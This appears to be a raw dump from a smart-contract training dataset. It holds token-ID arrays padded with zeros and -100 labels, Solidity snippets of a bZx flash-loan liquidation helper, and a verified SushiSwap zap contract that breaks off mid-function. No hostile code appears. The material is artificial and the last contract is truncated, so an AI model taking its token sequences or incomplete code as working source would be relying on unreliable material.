0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 2080, 3477, 7201, 6275, 12, 11890, 5034, 584, 7201, 6275, 13, 2713, 16618, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 584, 7201, 6275, 18, 16411, 12, 3378, 5528, 67, 23816, 67, 2565, 2246, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xa28C3111C57f5EA3cb09e06C7C7406eba49068b4/sources/BzxLiquidateV2.sol
IBZx.LoanReturnData memory loan = BZX.getLoan(loanId); require(maxLiquidatable != 0, "healty loan"); IToken iToken = IToken(BZX.underlyingToLoanPool(loanToken));
function liquidateInternal( bytes32 loanId, address loanToken, address collateralToken, uint256 maxLiquidatable, address flashLoanToken, bool allowLoss ) internal returns (address, uint256) { bytes memory b = IToken(flashLoanToken).flashBorrow( maxLiquidatable, address(this), address(this), "", abi.encodeWithSignature( "executeOperation(bytes32,address,address,uint256,address,bool)", loanId, loanToken, collateralToken, maxLiquidatable, flashLoanToken, allowLoss ) ); (, , , uint256 profitAmount) = abi.decode( b, (uint256, uint256, address, uint256) ); return (loanToken, profitAmount); }
15,484,762
[ 1, 4625, 348, 7953, 560, 30, 225, 23450, 62, 92, 18, 1504, 304, 990, 751, 3778, 28183, 273, 605, 62, 60, 18, 588, 1504, 304, 12, 383, 304, 548, 1769, 2583, 12, 1896, 48, 18988, 350, 8163, 480, 374, 16, 315, 580, 15006, 28183, 8863, 467, 1345, 277, 1345, 273, 467, 1345, 12, 38, 62, 60, 18, 9341, 6291, 774, 1504, 304, 2864, 12, 383, 304, 1345, 10019, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4501, 26595, 340, 3061, 12, 203, 3639, 1731, 1578, 28183, 548, 16, 203, 3639, 1758, 28183, 1345, 16, 203, 3639, 1758, 4508, 2045, 287, 1345, 16, 203, 3639, 2254, 5034, 943, 48, 18988, 350, 8163, 16, 203, 3639, 1758, 9563, 1504, 304, 1345, 16, 203, 3639, 1426, 1699, 20527, 203, 565, 262, 2713, 1135, 261, 2867, 16, 2254, 5034, 13, 288, 203, 203, 203, 203, 3639, 1731, 3778, 324, 273, 467, 1345, 12, 13440, 1504, 304, 1345, 2934, 13440, 38, 15318, 12, 203, 5411, 943, 48, 18988, 350, 8163, 16, 203, 5411, 1758, 12, 2211, 3631, 203, 5411, 1758, 12, 2211, 3631, 203, 5411, 23453, 203, 5411, 24126, 18, 3015, 1190, 5374, 12, 203, 7734, 315, 8837, 2988, 12, 3890, 1578, 16, 2867, 16, 2867, 16, 11890, 5034, 16, 2867, 16, 6430, 2225, 16, 203, 7734, 28183, 548, 16, 203, 7734, 28183, 1345, 16, 203, 7734, 4508, 2045, 287, 1345, 16, 203, 7734, 943, 48, 18988, 350, 8163, 16, 203, 7734, 9563, 1504, 304, 1345, 16, 203, 7734, 1699, 20527, 203, 5411, 262, 203, 3639, 11272, 203, 203, 3639, 261, 16, 269, 269, 2254, 5034, 450, 7216, 6275, 13, 273, 24126, 18, 3922, 12, 203, 5411, 324, 16, 203, 5411, 261, 11890, 5034, 16, 2254, 5034, 16, 1758, 16, 2254, 5034, 13, 203, 3639, 11272, 203, 3639, 327, 261, 383, 304, 1345, 16, 450, 7216, 6275, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-07-05 */ // SPDX-License-Identifier: UNLICENSED /* ▄▄█ ▄ ██ █▄▄▄▄ ▄█ ██ █ █ █ █ ▄▀ ██ ██ ██ █ █▄▄█ █▀▀▌ ██ ▐█ █ █ █ █ █ █ █ ▐█ ▐ █ █ █ █ █ ▐ █ ██ █ ▀ ▀ */ /// 🦊🌾 Special thanks to Keno / Boring / Gonpachi / Karbon for review and continued inspiration. pragma solidity 0.7.6; pragma experimental ABIEncoderV2; /// @notice Minimal erc20 interface (with EIP 2612) to aid other interfaces. interface IERC20 { function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } /// @notice Interface for Dai Stablecoin (DAI) `permit()` primitive. interface IDaiPermit { function permit( address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s ) external; } // File @boringcrypto/boring-solidity/contracts/libraries/[email protected] /// License-Identifier: MIT /// @dev Adapted for Inari. library BoringERC20 { bytes4 private constant SIG_BALANCE_OF = 0x70a08231; // balanceOf(address) bytes4 private constant SIG_APPROVE = 0x095ea7b3; // approve(address,uint256) bytes4 private constant SIG_TRANSFER = 0xa9059cbb; // transfer(address,uint256) bytes4 private constant SIG_TRANSFER_FROM = 0x23b872dd; // transferFrom(address,address,uint256) /// @notice Provides a gas-optimized balance check on this contract to avoid a redundant extcodesize check in addition to the returndatasize check. /// @param token The address of the ERC-20 token. /// @return amount The token amount. function safeBalanceOfSelf(IERC20 token) internal view returns (uint256 amount) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_BALANCE_OF, address(this))); require(success && data.length >= 32, "BoringERC20: BalanceOf failed"); amount = abi.decode(data, (uint256)); } /// @notice Provides a safe ERC20.approve version for different ERC-20 implementations. /// @param token The address of the ERC-20 token. /// @param to The address of the user to grant spending right. /// @param amount The token amount to grant spending right over. function safeApprove( IERC20 token, address to, uint256 amount ) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_APPROVE, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: Approve failed"); } /// @notice Provides a safe ERC20.transfer version for different ERC-20 implementations. /// Reverts on a failed transfer. /// @param token The address of the ERC-20 token. /// @param to Transfer tokens to. /// @param amount The token amount. function safeTransfer( IERC20 token, address to, uint256 amount ) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: Transfer failed"); } /// @notice Provides a safe ERC20.transferFrom version for different ERC-20 implementations. /// Reverts on a failed transfer. /// @param token The address of the ERC-20 token. /// @param from Transfer tokens from. /// @param to Transfer tokens to. /// @param amount The token amount. function safeTransferFrom( IERC20 token, address from, address to, uint256 amount ) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER_FROM, from, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: TransferFrom failed"); } } // File @boringcrypto/boring-solidity/contracts/[email protected] /// License-Identifier: MIT /// @dev Adapted for Inari. contract BaseBoringBatchable { /// @dev Helper function to extract a useful revert message from a failed call. /// If the returned data is malformed or not correctly abi encoded then this call can fail itself. function _getRevertMsg(bytes memory _returnData) internal pure returns (string memory) { // If the _res length is less than 68, then the transaction failed silently (without a revert message) if (_returnData.length < 68) return "Transaction reverted silently"; assembly { // Slice the sighash. _returnData := add(_returnData, 0x04) } return abi.decode(_returnData, (string)); // All that remains is the revert string } /// @notice Allows batched call to self (this contract). /// @param calls An array of inputs for each call. /// @param revertOnFail If True then reverts after a failed call and stops doing further calls. function batch(bytes[] calldata calls, bool revertOnFail) external payable { for (uint256 i = 0; i < calls.length; i++) { (bool success, bytes memory result) = address(this).delegatecall(calls[i]); if (!success && revertOnFail) { revert(_getRevertMsg(result)); } } } } /// @notice Extends `BoringBatchable` with DAI `permit()`. contract BoringBatchableWithDai is BaseBoringBatchable { /// @notice Call wrapper that performs `ERC20.permit` using EIP 2612 primitive. /// Lookup `IDaiPermit.permit`. function permitDai( IDaiPermit token, address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s ) public { token.permit(holder, spender, nonce, expiry, allowed, v, r, s); } /// @notice Call wrapper that performs `ERC20.permit` on `token`. /// Lookup `IERC20.permit`. // F6: Parameters can be used front-run the permit and the user's permit will fail (due to nonce or other revert) // if part of a batch this could be used to grief once as the second call would not need the permit function permitToken( IERC20 token, address from, address to, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public { token.permit(from, to, amount, deadline, v, r, s); } } /// @notice Babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method). library Babylonian { // computes square roots using the babylonian method // credit for this implementation goes to // https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687 function sqrt(uint256 x) internal pure returns (uint256) { if (x == 0) return 0; // this block is equivalent to r = uint256(1) << (BitMath.mostSignificantBit(x) / 2); // however that code costs significantly more gas uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return (r < r1 ? r : r1); } } /// @notice Interface for SushiSwap. interface ISushiSwap { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function token0() external pure returns (address); function token1() external pure returns (address); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); } /// @notice Interface for wrapped ether v9. interface IWETH { function deposit() external payable; } /// @notice Library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math). library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } /// @notice SushiSwap liquidity zaps based on awesomeness from zapper.fi (0xcff6eF0B9916682B37D80c19cFF8949bc1886bC2). contract SushiZap { using SafeMath for uint256; using BoringERC20 for IERC20; address constant sushiSwapFactory = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac; // SushiSwap factory contract ISushiSwap constant sushiSwapRouter = ISushiSwap(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); // SushiSwap router contract uint256 constant deadline = 0xf000000000000000000000000000000000000000000000000000000000000000; // placeholder for swap deadline bytes32 constant pairCodeHash = 0xe18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303; // SushiSwap pair code hash event ZapIn(address sender, address pool, uint256 tokensRec); /** @notice This function is used to invest in given SushiSwap pair through ETH/ERC20 Tokens. @param to Address to receive LP tokens. @param _FromTokenContractAddress The ERC20 token used for investment (address(0x00) if ether). @param _pairAddress The SushiSwap pair address. @param _amount The amount of fromToken to invest. @param _minPoolTokens Reverts if less tokens received than this. @param _swapTarget Excecution target for the first swap. @param swapData Dex quote data. @return Amount of LP bought. */ function zapIn( address to, address _FromTokenContractAddress, address _pairAddress, uint256 _amount, uint256 _minPoolTokens, address _swapTarget, bytes calldata swapData ) external payable returns (uint256) { uint256 toInvest = _pullTokens( _FromTokenContractAddress, _amount ); uint256 LPBought = _performZapIn( _FromTokenContractAddress, _pairAddress, toInvest, _swapTarget, swapData ); require(LPBought >= _minPoolTokens, 'ERR: High Slippage'); emit ZapIn(to, _pairAddress, LPBought); IERC20(_pairAddress).safeTransfer(to, LPBought); return LPBought; } function _getPairTokens(address _pairAddress) private pure returns (address token0, address token1) { ISushiSwap sushiPair = ISushiSwap(_pairAddress); token0 = sushiPair.token0(); token1 = sushiPair.token1(); } function _pullTokens(address token, uint256 amount) internal returns (uint256 value) { if (token == address(0)) { require(msg.value > 0, 'No eth sent'); return msg.value; } require(amount > 0, 'Invalid token amount'); require(msg.value == 0, 'Eth sent with token'); // transfer token IERC20(token).safeTransferFrom(msg.sender, address(this), amount); return amount; } function _performZapIn( address _FromTokenContractAddress, address _pairAddress, uint256 _amount, address _swapTarget, bytes memory swapData ) internal returns (uint256) { uint256 intermediateAmt; address intermediateToken; ( address _ToSushipoolToken0, address _ToSushipoolToken1 ) = _getPairTokens(_pairAddress); if ( _FromTokenContractAddress != _ToSushipoolToken0 && _FromTokenContractAddress != _ToSushipoolToken1 ) { // swap to intermediate (intermediateAmt, intermediateToken) = _fillQuote( _FromTokenContractAddress, _pairAddress, _amount, _swapTarget, swapData ); } else { intermediateToken = _FromTokenContractAddress; intermediateAmt = _amount; } // divide intermediate into appropriate amount to add liquidity (uint256 token0Bought, uint256 token1Bought) = _swapIntermediate( intermediateToken, _ToSushipoolToken0, _ToSushipoolToken1, intermediateAmt ); return _sushiDeposit( _ToSushipoolToken0, _ToSushipoolToken1, token0Bought, token1Bought ); } function _sushiDeposit( address _ToUnipoolToken0, address _ToUnipoolToken1, uint256 token0Bought, uint256 token1Bought ) private returns (uint256) { IERC20(_ToUnipoolToken0).safeApprove(address(sushiSwapRouter), 0); IERC20(_ToUnipoolToken1).safeApprove(address(sushiSwapRouter), 0); IERC20(_ToUnipoolToken0).safeApprove( address(sushiSwapRouter), token0Bought ); IERC20(_ToUnipoolToken1).safeApprove( address(sushiSwapRouter), token1Bought ); (uint256 amountA, uint256 amountB, uint256 LP) = sushiSwapRouter .addLiquidity( _ToUnipoolToken0, _ToUnipoolToken1, token0Bought, token1Bought, 1, 1, address(this), deadline ); // returning residue in token0, if any if (token0Bought.sub(amountA) > 0) { IERC20(_ToUnipoolToken0).safeTransfer( msg.sender, token0Bought.sub(amountA) ); } // returning residue in token1, if any if (token1Bought.sub(amountB) > 0) { IERC20(_ToUnipoolToken1).safeTransfer( msg.sender, token1Bought.sub(amountB) ); } return LP; } function _fillQuote( address _fromTokenAddress, address _pairAddress, uint256 _amount, address _swapTarget, bytes memory swapCallData ) private returns (uint256 amountBought, address intermediateToken) { uint256 valueToSend; if (_fromTokenAddress == address(0)) { valueToSend = _amount; } else { IERC20 fromToken = IERC20(_fromTokenAddress); fromToken.safeApprove(address(_swapTarget), 0); fromToken.safeApprove(address(_swapTarget), _amount); } (address _token0, address _token1) = _getPairTokens(_pairAddress); IERC20 token0 = IERC20(_token0); IERC20 token1 = IERC20(_token1); uint256 initialBalance0 = token0.safeBalanceOfSelf(); uint256 initialBalance1 = token1.safeBalanceOfSelf(); (bool success, ) = _swapTarget.call{value: valueToSend}(swapCallData); require(success, 'Error Swapping Tokens 1'); uint256 finalBalance0 = token0.safeBalanceOfSelf().sub( initialBalance0 ); uint256 finalBalance1 = token1.safeBalanceOfSelf().sub( initialBalance1 ); if (finalBalance0 > finalBalance1) { amountBought = finalBalance0; intermediateToken = _token0; } else { amountBought = finalBalance1; intermediateToken = _token1; } require(amountBought > 0, 'Swapped to Invalid Intermediate'); } function _swapIntermediate( address _toContractAddress, address _ToSushipoolToken0, address _ToSushipoolToken1, uint256 _amount ) private returns (uint256 token0Bought, uint256 token1Bought) { (address token0, address token1) = _ToSushipoolToken0 < _ToSushipoolToken1 ? (_ToSushipoolToken0, _ToSushipoolToken1) : (_ToSushipoolToken1, _ToSushipoolToken0); ISushiSwap pair = ISushiSwap( uint256( keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash)) ) ); (uint256 res0, uint256 res1, ) = pair.getReserves(); if (_toContractAddress == _ToSushipoolToken0) { uint256 amountToSwap = calculateSwapInAmount(res0, _amount); // if no reserve or a new pair is created if (amountToSwap <= 0) amountToSwap = _amount / 2; token1Bought = _token2Token( _toContractAddress, _ToSushipoolToken1, amountToSwap ); token0Bought = _amount.sub(amountToSwap); } else { uint256 amountToSwap = calculateSwapInAmount(res1, _amount); // if no reserve or a new pair is created if (amountToSwap <= 0) amountToSwap = _amount / 2; token0Bought = _token2Token( _toContractAddress, _ToSushipoolToken0, amountToSwap ); token1Bought = _amount.sub(amountToSwap); } } function calculateSwapInAmount(uint256 reserveIn, uint256 userIn) private pure returns (uint256) { return Babylonian .sqrt( reserveIn.mul(userIn.mul(3988000) + reserveIn.mul(3988009)) ) .sub(reserveIn.mul(1997)) / 1994; } /** @notice This function is used to swap ERC20 <> ERC20. @param _FromTokenContractAddress The token address to swap from. @param _ToTokenContractAddress The token address to swap to. @param tokens2Trade The amount of tokens to swap. @return tokenBought The quantity of tokens bought. */ function _token2Token( address _FromTokenContractAddress, address _ToTokenContractAddress, uint256 tokens2Trade ) private returns (uint256 tokenBought) { if (_FromTokenContractAddress == _ToTokenContractAddress) { return tokens2Trade; } IERC20(_FromTokenContractAddress).safeApprove( address(sushiSwapRouter), 0 ); IERC20(_FromTokenContractAddress).safeApprove( address(sushiSwapRouter), tokens2Trade ); (address token0, address token1) = _FromTokenContractAddress < _ToTokenContractAddress ? (_FromTokenContractAddress, _ToTokenContractAddress) : 